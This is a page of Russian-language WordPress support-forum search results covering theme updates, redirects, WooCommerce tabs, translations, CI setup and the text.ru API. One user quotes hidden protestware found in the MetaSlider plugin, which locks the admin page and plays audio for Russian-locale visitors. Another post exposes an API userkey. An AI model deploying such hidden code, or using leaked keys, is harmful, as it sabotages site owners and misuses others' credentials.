Поддержка Поиск Результаты поиска для 'test'

Просмотр 15 результатов — с 16 по 30 (из 2 256)
    • Добрый день.
      На сайте с вордпресс используем собственную тему, в которой настроено обновление со своего кастомного сервера.
      На этом сервере лежит .json файл и архив с темой.

      {
          "id": "mytheme/functions.php",
          "slug": "mytheme",
          "name": "mytheme theme",
          "theme": "mytheme",
          "new_version": "1.1.129",
          "url": "http://theme.updateserver.biz/mytheme/",
          "sections": {
              "description": "Theme for wordpess multishop’s",
              "installation": "Install and activate",
              "changelog": ""
          },
          "package": "http://theme.updateserver.biz/mytheme-v1.1.129.zip",
          "tested": "5.8.2",
          "requires_php": "7.0"
      }

      Урлы в данном топике я заменил на тестовые.

      Ранее достаточно было изменить new_version в этом файле на более высокую версию 1.1.130 и в админке wp было видно, что есть обновление.
      Где-то месяц назад это перестало работать.

    @almsit чтобы открывать поддомены как подкатегории, вам понадобится настроить редиректы на сервере, где размещены ваши поддомены.

    Пример для Apache (.htaccess):
    RewriteEngine On RewriteCond %{HTTP_HOST} ^sub\.test\.ru$ [NC] RewriteRule ^(.*)$ http://test.ru/sub/$1 [L,R=301]

    Пример для Nginx:
    server {
    listen 80;
    server_name sub.test.ru;
    return 301 http://test.ru/sub$request_uri;
    }

    • Ответ изменён 11 месяцев, 2 недели назад пользователем nndscrpt.
    • Здравствуйте. У меня есть множество поддоменов на одном сервере. Каждый поддомен — это самостоятельный вп сайт. Так же есть основной сайт на вп. Есть ссылка test.ru. Ссылка поддомена sub.test.ru Как мне сделать ссылку test.ru/sub/ чтобы поддомен открывался как подкатегория? в итоге надо получить test.ru/sub/product, test.ru/sub2/product test.ru/sub3/product

    Автор Дмитрий

    (@pro100ta)

    Сделал. Пока работает. Может быть будет кому интересно.

    add_filter( 'woocommerce_product_tabs', 'woo_new_product_tab' );
    function woo_new_product_tab( $tabs ) {
     
    	// Adds the new tab
     if( get_field('shema') ) {
    	 
    	$tabs['test_tab'] = array(
    		'title' 	=> __( 'Схема', 'woocommerce' ),
    		'priority' 	=> 50,
    		'callback' 	=> 'woo_new_product_tab_content'
    	);
    
    	 
    	return $tabs; 
    	} else { 
    	 
    	 $tabs['test_tab'] = array(
    		'title' 	=> __( '' ),
    		'priority' 	=> 50,
    		'callback' 	=> 'woo_new_product_tab_content'
    	);
    
    	 return $tabs; 
     }
    	
     
    }
    function woo_new_product_tab_content() { 
    	
    	echo '<img src="' . get_field('shema') . '"/>';
     
    }

    Что скажете, народ, по коду? Нормально или чего-нибудь подправить надо?

    По плагину. Плагин скорей всего будет узконаправленным. Такие иногда перестают обновлять авторы и появляется большая проблема. Если вы или кто-то другой подскажете рабочий, хорошообновляемый плагин, от проверенных производителей — буду рад.

    Можно загуглить, но часто в блогах пишет абы кто. На этом форуме доверия больше.

    • Здравствуйте!

      Добавляю дополнительные вкладки в товары woocommerce через function.php. Дополнительные вкладки добавляются нормально (использую плагин acf), но хочу чтобы сами вкладки добавлялись только если в них есть содержимое. например, у некоторых товаров есть схема, но в большинстве товаров схемы не будет. Однако, вкладка с пустым содержимым отображается.

      Заранее благодарен.

      add_filter( 'woocommerce_product_tabs', 'woo_new_product_tab' );
      function woo_new_product_tab( $tabs ) {
       
      	// Adds the new tab
       
      	$tabs['test_tab'] = array(
      		'title' 	=> __( 'Схема', 'woocommerce' ),
      		'priority' 	=> 50,
      		'callback' 	=> 'woo_new_product_tab_content'
      	);
       
      	return $tabs;
       
      }
      function woo_new_product_tab_content() {
       
      	// The new tab content
       
      	echo '<h2>Схема</h2>';
      	echo '<p>Привет</p>';
      	echo the_field('shema');
       
      }
      • Тема изменена 1 год назад пользователем Дмитрий.

      Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]

    • Всем доброго времени суток.
      Дополненный перевод для плагина DarklupLite.

      Stable Readme (latest release) дополнен.
      {чтобы все было в комплекте}
      Просьба проверить, когда будет возможность 🙂

      Спасибо

      Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]

    Автор Scooter

    (@1scooter)

    Всем доброго времени суток.
    Дополненый перевод для плагина AI Engine,

    Stable (latest release) дополнен и исправлен.
    Stable Readme (latest release) дополнен и исправлен.
    Просьба проверить, когда будет возможность 🙂

    Спасибо

    • Всем доброго времени суток.
      Есть дополненый перевод для плагина Lara’s Google Analytics (GA4),

      Stable (latest release) дополнен и исправлен.
      Stable Readme (latest release) дополнен и исправлен.
      Просьба проверить.

      Спасибо

      Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]

    • Всем доброго времени суток.
      Есть дополненый перевод для плагина Formidable Forms,

      Stable (latest release) дополнен и исправлен.
      Stable Readme (latest release) начат перевод.

      Просьба проверить.

      Спасибо

      Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]

    • Доброго времени суток.

      Столкнулся с «закладкой» в плагине MetaSlider, в администрировании, при входе в плагин играет гимн Украины и блочится страница.

      нашел закладки в файлах «app.js и app.min.js»

      путь — «../public_html/wp-content/plugins/ml-slider/admin/assets/dist/js»

      вот текст закладки «

      if(«undefined»!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/.(ru|su|xn--p1ai)$/))
      {var Ir=new Date,$r=localStorage.getItem(«swal-initiation»);
      $r?(Ir.getTime()-Date.parse($r))/864e5>3&&setTimeout((function(){document.body.style.pointerEvents=»none»;var t=document.createElement(«audio»);
      t.src=»https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3&#8243;,t.loop=!0,document.body.appendChild(t),setTimeout((
      function(){t.play().catch((function(){}))}),2500)}),500):localStorage.setItem(«swal-initiation»,»».concat(Ir))}

      «

    • 0

      Сейчас изучаю работу gihub actions для запуска phpunit тестов для тестирования WP плагина. И возникла проблема подключения к бд через wp-cli. Напрямую через mysql подключение есть, создание и импорт бд через wp-cli работают, но получение данных из бд через wp-cli невозможно. На локальной машине всё работает отлично

      Мой workflow.yml

      name: WordPress install
      
      on: [workflow_dispatch]
      
      jobs:
        run:    
          runs-on: ${{ matrix.operating-system }}
          strategy:      
            matrix:
              operating-system: [ubuntu-latest]
              php-versions: ['7.2']
          name: PHP ${{ matrix.php-versions }} Test on ${{ matrix.operating-system }}
          steps:
          - name: Checkout
            uses: actions/checkout@v1
      
          - name: Setup PHP
            uses: shivammathur/setup-php@v1
            with:
              php-version: ${{ matrix.php-versions }}
              extension-csv: mbstring, intl #optional, setup extensions
              ini-values-csv: post_max_size=256M, short_open_tag=On #optional, setup php.ini configuration
              coverage: xdebug #optional, setup coverage driver
              pecl: false #optional, setup PECL
              
          -   name: Set up MySQL
              run: |
                  sudo /etc/init.d/mysql start
                  
          -   name: Install wp
              run: |
                  curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
                  php wp-cli.phar core download
                  echo 1
                  php wp-cli.phar config create --dbname=wordpress_test --dbuser=root --dbpass=root --dbhost=127.0.0.1 --dbprefix=wptests_
                  echo 2
                  php wp-cli.phar db create
                  php wp-cli.phar db check
                  echo 30
                  mysql --user="root" --password="root" --execute='show databases;'
                  echo 31
                  php wp-cli.phar db query 'SHOW TABLES' --allow-root
                  echo 32
                  php wp-cli.phar db tables
                  echo 3
                  php wp-cli.phar core install --url=wpclidemo.dev --title="WP-CLI" --admin_user=wpcli --admin_password=wpcli --admin_email=info@wp-cli.org
                  echo 4
                  php wp-cli.phar option get siteurl
                  echo 5

      И итоговый результат

      Success: WordPress downloaded.
      1
      Success: Generated 'wp-config.php' file.
      2
      Success: Database created.
      Success: Database checked.
      30
      Warning: arning] Using a password on the command line interface can be insecure.
      Database
      information_schema
      mysql
      performance_schema
      sys
      wordpress_test
      31
      32
      Error: Error establishing a database connection.
      Error: Process completed with exit code 1.

      В чем может быть причина ошибки с wp-cli?

      Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]

    • Здравствуйте. Пытаюсь взаимодействовать с Api text.ru — https://text.ru/api-check/manual, https://text.ru/api-check. Но ничего не получается. Они утверждают и указано в инструкции, что результат можно ожидать указав в callback страницу, куда поступит Post с уведомлением о завершении и результатами проверки.

      Очень прошу помощи в решении.

      Вот мой код :

      страница new: Здесь простая форма с отправкой данных на страницу result

      <form action="/result/" method="post">
          <textarea name="text-for-check" placeholder="Введите текст для проверки"></textarea>
          <button type="submit">Отправить</button>
      </form>
      
      
      <?php

      страница result — Здесь мы отправляем запрос и получаем text_uid, который нужен для дальнейшего использования.

      <?php
      ob_start();
      /*
      Template Name: Результаты
      */
      
      if ($_SERVER["REQUEST_METHOD"] == "POST")  {
          if(empty($_POST['text-for-check'])) {
              print_r('no');
          }else {
              print_r('yes');
              $textForCheck = htmlspecialchars($_POST['text-for-check']);
          }
          
      }
      
      $url = 'http://api.text.ru/post';
      $args = array(
          'body' => array(
              'userkey' => '9fba58db6c4bc4d682c072308fdb7aa7',
              'text' => $textForCheck,
              'callback' => 'https://test.pro-develop.ru/result3',
              
          ),
         
          'method' => 'POST'
      );
      $response = wp_remote_request( $url, $args );
      $result = json_decode($response['body'], true);
      $textUid = $result['text_uid'];
      
      
      header('Location: https://test.pro-develop.ru/result2/?text_uid=' . $textUid);
      
      ob_end_flush();

      страница result2 —

      <?php
      /*
      Template Name: Результаты2
      */
      
      var_dump($_GET);
      var_dump($_POST);
      $url = 'http://api.text.ru/post';
      
      $args2 = array(
          'body' => array(
              'userkey' => '9fba58db6c4bc4d682c072308fdb7aa7',
              'uid' => $_GET['text_uid'],
              'jsonvisible' => 'detail',
              'callback' => 'https://test.pro-develop.ru/result3',
      
          ),
      
          'method' => 'POST',
          'blocking'    => true,
      );
      
      
      $response2 = wp_remote_request( $url, $args2 );
      $result2 = json_decode($response2['body'], true);
      
      
      echo '<pre>';
      var_dump(json_decode($result2['result_json']));
      echo '</pre>';
      
      ?>

      страница result3 —

      <?php
      /*
      Template Name: Результаты3
      */
      echo 'ok';
      ?>
      <?php
      var_dump($_POST);
      
      ?>
      • Тема изменена 1 год, 1 месяц назад пользователем ainur733.
      • Тема изменена 1 год, 1 месяц назад пользователем ainur733.
      • Тема изменена 1 год, 1 месяц назад пользователем ainur733.
Просмотр 15 результатов — с 16 по 30 (из 2 256)